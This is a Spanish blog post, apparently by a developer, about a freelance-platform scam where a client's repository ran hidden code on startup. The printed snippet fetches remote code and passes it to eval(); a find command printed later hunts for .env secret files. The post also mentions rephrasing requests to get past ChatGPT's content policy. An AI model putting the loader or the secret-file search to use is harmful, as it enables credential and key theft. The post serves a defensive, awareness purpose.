Cómo descubrimos una estafa dirigida a desarrolladores en Upwork, Fiverr y plataformas freelance.

Hace poco vivimos un susto que puso de relieve la importancia de estar atentos al manejar código facilitado por clientes, sobre todo para los desarrolladores que usan plataformas freelance como Upwork y Fiverr.

Todo empezó cuando un cliente nuevo compartió un repositorio de GitHub y los requisitos del proyecto. Tras clonar el repositorio, noté que algo no cuadraba. Mi responsable me recomendó usar un IDE con IA llamado Cursor para ayudar con el análisis del código antes de seguir adelante. Por precaución, decidí hacer una comprobación de seguridad.

Cómo atacan

Tras una inspección más a fondo, Cursor señaló una solicitud sospechosa a un servidor combinada con la ejecución de código en tiempo de ejecución. El código del backend estaba configurado para ejecutarse nada más iniciar el proyecto, y eso era una señal de alarma enorme. El código enviaba una solicitud a un servidor HTTP disfrazado de detector de ubicación, y la respuesta se pasaba a una función eval(). Esto era motivo de gran preocupación porque eval() puede ejecutar cualquier código externo que reciba, lo que lo convierte en un riesgo de seguridad considerable (MDN Web Docs sobre eval()). En ese momento, todo en el código quedó claro. Rechazamos al cliente y lo denunciamos en la plataforma. Sin embargo, me picó la curiosidad y decidí seguir con mi investigación por la tarde.

const checkRegion = async () => {
  const res = await axios.get("http://********/api/user/thirdcookie/v3");
  eval(res.data.cookie);
}

checkRegion();

Registré la respuesta del servidor. Contenía código ofuscado, lo que dificultaba entender su intención a primera vista. Recurrí a ChatGPT para que me ayudara a decodificar la respuesta. Aunque las políticas de contenido de ChatGPT bloquearon mis primeros intentos, modifiqué mi enfoque. Finalmente, con herramientas de desofuscación en línea, empecé a entender cómo funcionaba el código malicioso y cuál era su verdadero propósito. Según el sistema operativo, buscaba diversas rutas donde podían almacenarse contraseñas, incluidas las de Google Chrome, Firefox, Opera, Edge, MetaMask, Exodus, las carteras Atomic e iCloud Keychain, y las enviaba a un servidor remoto.

El ataque no se detuvo con el script inicial

Sin embargo, el segundo archivo resultó más preocupante. Estaba ofuscado y usaba un método de una biblioteca importada para decodificar una cadena en Base64. El código estaba codificado varias veces, y solo tras varias capas de decodificación quedó claro su verdadero propósito. El script estaba diseñado para sistemas macOS, Windows y Linux y buscaba archivos con más profundidad, usando palabras clave en comandos de terminal estándar en lugar de limitarse a rutas fijas en el código.

Lo más alarmante de este ataque era su posible impacto en los desarrolladores, en particular en quienes trabajan en proyectos comerciales. El script buscaba activamente archivos .env, que almacenan información sensible como claves de API, credenciales de bases de datos y otras claves secretas que usan las aplicaciones. Si se robaran, los estafadores podrían usar esas claves para acceder a servicios en la nube, eliminar datos críticos o abusar de su sistema de correo electrónico para cometer más estafas.

find ~/ -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config  webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name *.env -print

Lecciones aprendidas

Este incidente fue un poderoso recordatorio de hasta dónde llegan los estafadores para atacar a desarrolladores y empresas de software. Estas son las principales lecciones de esta experiencia:

• Examine constantemente el código que le entregue un cliente antes de ejecutarlo, aunque parezca legítimo.
• Utilice herramientas de IA como Cursor y servicios de desofuscación para analizar con rapidez código sospechoso, sobre todo cuando trate con clientes desconocidos.
• Actualice continuamente su software y sus conocimientos de seguridad para adelantarse a las ciberamenazas en evolución.
• Utilice equipos o entornos aislados para trabajar y así minimizar la exposición de sus datos personales. Esto reduce el riesgo de exponer información sensible si se produce un ataque.

Una advertencia sobre el consejo anterior acerca de Cursor, y es que un editor puede ejecutar el código de un repositorio antes de que usted haya leído nada de él. Es un desencadenante distinto del de la historia, en la que el código se ejecutó al iniciar el proyecto. Un repositorio puede incluir un archivo .vscode/tasks.json con una tarea configurada para ejecutarse en cuanto se abre la carpeta. Oasis Security Research, en una publicación fechada el 1 de mayo de 2026, informó de que Cursor se distribuía con Workspace Trust desactivado por defecto, de modo que una tarea así podía ejecutarse en el momento de abrir la carpeta, sin ningún aviso. Workspace Trust es el ajuste del editor que bloquea esas tareas hasta que usted conceda la confianza, y Visual Studio Code con él activado, escribió Oasis, presenta un riesgo menor.

La documentación Agent Security de Cursor, consultada el 11 de octubre de 2026, indica que workspace trust está desactivado por defecto, que el modo restringido (el modo limitado que puede elegir para una carpeta nueva una vez activada la confianza) deja inutilizables sus funciones de IA, y que para los repositorios que no son de confianza debe usar en su lugar un editor de texto básico. Nuestra recomendación se deriva de esa documentación y de Oasis, que aconseja abrir los repositorios desconocidos en un entorno más seguro, como un editor de solo visualización o un contenedor o una máquina virtual desechables. Consiste en leer el repositorio de un desconocido en un editor de texto básico (uno sin tareas, terminal ni funciones de IA), abrirlo o ejecutarlo únicamente dentro de una máquina virtual o un contenedor desechables y, si quiere que una herramienta de IA lo analice, hacerlo dentro de la máquina virtual y sin claves reales en ella. Compruebe el ajuste actual de su propio editor. Ambas afirmaciones están fechadas.

En esta historia la herramienta de IA fue Cursor; a fecha de octubre de 2026 usamos Claude Code.

Para el próximo repositorio de un cliente, esta es una lista breve que conviene repasar antes de abrir o ejecutar nada:

1. Abra el repositorio únicamente dentro de una máquina virtual desechable, no directamente en su propio sistema operativo.
2. Lea primero los archivos en un editor de texto básico. Si su editor le pregunta si confía en la carpeta, no conceda la confianza.
3. Lea la sección scripts de package.json antes de ejecutar npm install o npm start.
4. Busque en el código eval, exec, solicitudes a servidores desconocidos, líneas muy largas y cadenas en Base64.
5. Mantenga las claves reales, los archivos .env y los datos de carteras fuera del equipo que use para la comprobación.

Conclusión

Pueden acechar riesgos de seguridad ocultos bajo la superficie, incluso en proyectos aparentemente legítimos. Este susto subrayó la importancia de la vigilancia y de utilizar todas las herramientas disponibles para proteger los datos personales y los de la organización. Los desarrolladores deben evolucionar constantemente sus prácticas de seguridad para adelantarse a unos ciberdelincuentes cada vez más sofisticados y garantizar la seguridad de su trabajo y de sus clientes.

Descargo de responsabilidad

Si alguna vez decide aplicar ingeniería inversa o analizar código potencialmente malicioso, utilice siempre una máquina virtual (VM) independiente. Esto ayuda a mantener su sistema operativo principal y sus archivos importantes aislados de los efectos dañinos de ejecutar o analizar código malicioso. Las máquinas virtuales son una capa de seguridad esencial al tratar con software arriesgado o no confiable.

Siguiente paso